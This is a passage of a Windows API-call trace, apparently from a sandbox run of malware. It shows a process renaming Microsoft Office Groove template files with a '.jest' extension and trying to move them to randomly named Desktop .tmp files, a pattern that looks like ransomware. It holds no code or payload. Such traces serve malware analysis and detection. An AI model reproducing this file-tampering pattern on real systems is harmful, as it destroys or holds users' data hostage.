RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.604] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepage.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0-zsO9L8irorAbrXb_Yzt2MC8dlHf9idkMfwExZTt0nYtfccCdybjmNoarHRLyft1Vo0vOz6NGMFwtQDQqf8NvGsnOyKz6Tcc_0L.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0-zso9l8irorabrxb_yzt2mc8dlhf9idkmfwexztt0nytfcccdybjmnoarhrlyft1vo0voz6ngmfwtqdqqf8nvgsnoykz6tcc_0l.tmp")) returned 0 [0165.604] GetLastError () returned 0x2 [0165.604] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0165.605] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0165.605] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱟ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.606] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0165.606] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePageStyle.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepagestyle.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePageStyle.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepagestyle.css.jest")) returned 1 [0165.609] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0165.609] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.609] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.609] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x10b)) [0165.610] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0165.610] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x10b)) [0165.610] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x10b)) [0165.610] GetUserDefaultLCID () returned 0x409 [0165.610] VarBstrFromR4 (in: fltIn=0x479457a2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.27") returned 0x0 [0165.610] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.611] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePageStyle.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepagestyle.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pF6f7UJ1eiAEe6J2Ga4QCWd9hOx_DgW81Vyz_d2Q525cyLcuK2W9ehuszA9y99TrWsQO3iXoegOXtu90GBQqyfx5sdwMYBL3fk6.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pf6f7uj1eiaee6j2ga4qcwd9hox_dgw81vyz_d2q525cylcuk2w9ehusza9y99trwsqo3ixoegoxtu90gbqqyfx5sdwmybl3fk6.tmp")) returned 0 [0165.611] GetLastError () returned 0x2 [0165.611] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0165.612] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0165.612] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.614] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0165.614] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePageStyle.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepagestyle.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePageStyle.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepagestyle.css.jest")) returned 1 [0165.616] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0165.617] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.617] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.618] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x10b)) [0165.618] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0165.618] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x10b)) [0165.618] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x10b)) [0165.618] GetUserDefaultLCID () returned 0x409 [0165.618] VarBstrFromR4 (in: fltIn=0x479457a2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.27") returned 0x0 [0165.618] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.619] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePageStyle.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepagestyle.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XFkgglbgdxX bQFl8fO5xW04UiAlAYza5ARekDn1AHz_ 9p8e5H5PcJvOFLOLqNgR9Arp-rEZgFW20xFlDzsr0dtT1atOFKS9Yt.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xfkgglbgdxx bqfl8fo5xw04uialayza5arekdn1ahz_ 9p8e5h5pcjvoflolqngr9arp-rezgfw20xfldzsr0dtt1atofks9yt.tmp")) returned 0 [0165.619] GetLastError () returned 0x2 [0165.619] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0165.620] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0165.620] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.621] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0165.621] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsImageTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsimagetemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsImageTemplate.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsimagetemplate.html.jest")) returned 1 [0165.623] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0165.623] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.624] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.624] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x11a)) [0165.624] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0165.624] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x11a)) [0165.624] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x11a)) [0165.624] GetUserDefaultLCID () returned 0x409 [0165.624] VarBstrFromR4 (in: fltIn=0x479457a4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.28") returned 0x0 [0165.624] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.625] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsImageTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsimagetemplate.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\szGzTMT39J7 mMzr6BhilSLinm8ysWQLuBzw4tSppPWgQI2XWmaLeZIiXRsvJCIRoREdvIEKAAY9B_VYhEdbe8aN2rhOflmW_vMxU.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\szgztmt39j7 mmzr6bhilslinm8yswqlubzw4tspppwgqi2xwmaleziixrsvjciroredviekaay9b_vyhedbe8an2rhoflmw_vmxu.tmp")) returned 0 [0165.626] GetLastError () returned 0x2 [0165.626] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0165.626] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0165.627] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.627] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0165.627] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsMacroTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsmacrotemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsMacroTemplate.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsmacrotemplate.html.jest")) returned 1 [0165.629] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0165.629] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.630] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.630] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x11a)) [0165.630] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0165.630] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x11a)) [0165.630] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x11a)) [0165.630] GetUserDefaultLCID () returned 0x409 [0165.630] VarBstrFromR4 (in: fltIn=0x479457a4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.28") returned 0x0 [0165.631] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.632] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsMacroTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsmacrotemplate.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MVUosxHCoojNwax GUxmGvjTyWDxmUTY4G-1PpL7mRKswKzCmcKbU9HGSNNRcEkodrLo7dIO_FjBu5_L NkfwIbouw9CXXudQjA5.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mvuosxhcoojnwax guxmgvjtywdxmuty4g-1ppl7mrkswkzcmckbu9hgsnnrcekodrlo7dio_fjbu5_l nkfwibouw9cxxudqja5.tmp")) returned 0 [0165.632] GetLastError () returned 0x2 [0165.632] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0165.632] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0165.633] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱛ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.633] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0165.634] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsmacrotemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsmacrotemplate.html.jest")) returned 1 [0165.636] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0165.636] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.637] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.637] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x12a)) [0165.637] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0165.637] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x12a)) [0165.637] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x12a)) [0165.637] GetUserDefaultLCID () returned 0x409 [0165.637] VarBstrFromR4 (in: fltIn=0x479457a6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.3") returned 0x0 [0165.638] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.639] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsmacrotemplate.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ E6j8-KVsdQLXhEh2x7vmOn-74mgfQk6LjHuiUj yIjXSSXQ-cNO0-X4NFUiGA0GHxYgL107aHMUYZSXHeCL4bx7knpgUqOAX0Y.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ e6j8-kvsdqlxheh2x7vmon-74mgfqk6ljhuiuj yijxssxq-cno0-x4nfuiga0ghxygl107ahmuyzsxhecl4bx7knpguqoax0y.tmp")) returned 0 [0165.639] GetLastError () returned 0x2 [0165.639] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0165.639] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0165.640] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱤ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.640] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0165.641] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formspreviewtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsPreviewTemplate.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formspreviewtemplate.html.jest")) returned 1 [0165.643] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0165.643] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.643] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.644] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x12a)) [0165.644] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0165.644] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x12a)) [0165.644] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x12a)) [0165.644] GetUserDefaultLCID () returned 0x409 [0165.644] VarBstrFromR4 (in: fltIn=0x479457a6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.3") returned 0x0 [0165.644] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.645] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formspreviewtemplate.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k7tGQ LBQsmZJhnwyn0TRnQkPzJxYIbz9FqFjt-pDPxxl0ua6cAHfXY3k5GprjKWSS6FHZ9A06dkowqX6nitOwe rxdm0-2qs2FmC.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k7tgq lbqsmzjhnwyn0trnqkpzjxyibz9fqfjt-pdpxxl0ua6cahfxy3k5gprjkwss6fhz9a06dkowqx6nitowe rxdm0-2qs2fmc.tmp")) returned 0 [0165.646] GetLastError () returned 0x2 [0165.646] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0165.646] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0165.647] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.647] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0165.648] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formspreviewtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsPreviewTemplate.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formspreviewtemplate.html.jest")) returned 1 [0165.650] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0165.650] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.651] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.651] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x139)) [0165.651] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0165.651] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x139)) [0165.651] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x139)) [0165.651] GetUserDefaultLCID () returned 0x409 [0165.651] VarBstrFromR4 (in: fltIn=0x479457a8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.31") returned 0x0 [0165.652] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.653] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formspreviewtemplate.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WYr2B7Rc8R_TUYxQ9x3eFKkDDwRKmX3WOhBDc RJ8Vh8VwJrYAmnvFln2UEiBoHj2KQ2ToAHx99uU8RaC_TupSshsVM0u-TYz1SSe.tmp" (normalized: 